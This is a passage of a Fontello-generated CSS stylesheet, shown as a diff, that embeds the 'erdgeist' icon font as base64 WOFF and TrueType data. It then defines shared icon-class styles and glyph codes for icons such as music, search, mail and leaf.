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') format('woff'), + url('data:application/octet-stream;base64,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') format('truetype'); +} +/* Chrome hack: SVG is rendered more smooth in Windozze. 100% magic, uncomment if you need it. */ +/* Note, that will break hinting! In other OS-es font will be not as sharp as it could be */ +/* +@media screen and (-webkit-min-device-pixel-ratio:0) { + @font-face { + font-family: 'erdgeist'; + src: url('../font/erdgeist.svg?73063744#erdgeist') format('svg'); + } +} +*/ + + [class^="icon-"]:before, [class*=" icon-"]:before { + font-family: "erdgeist"; + font-style: normal; + font-weight: normal; + speak: none; + + display: inline-block; + text-decoration: inherit; + width: 1em; + margin-right: .2em; + text-align: center; + /* opacity: .8; */ + + /* For safety - reset parent styles, that can break glyph codes*/ + font-variant: normal; + text-transform: none; + + /* fix buttons height, for twitter bootstrap */ + line-height: 1em; + + /* Animation center compensation - margins should be symmetric */ + /* remove if not needed */ + margin-left: .2em; + + /* you can be more comfortable with increased icons size */ + /* font-size: 120%; */ + + /* Uncomment for 3D effect */ + /* text-shadow: 1px 1px 1px rgba(127, 127, 127, 0.3); */ +} +.icon-music:before { content: '\e800'; } /* '' */ +.icon-search:before { content: '\e801'; } /* '' */ +.icon-mail:before { content: '\e802'; } /* '' */ +.icon-user:before { content: '\e803'; } /* '' */ +.icon-headphones:before { content: '\e805'; } /* '' */ +.icon-quote-right:before { content: '\e806'; } /* '' */ +.icon-quote-left:before { content: '\e807'; } /* '' */ +.icon-leaf:before { content: '\e808'; } /* '' 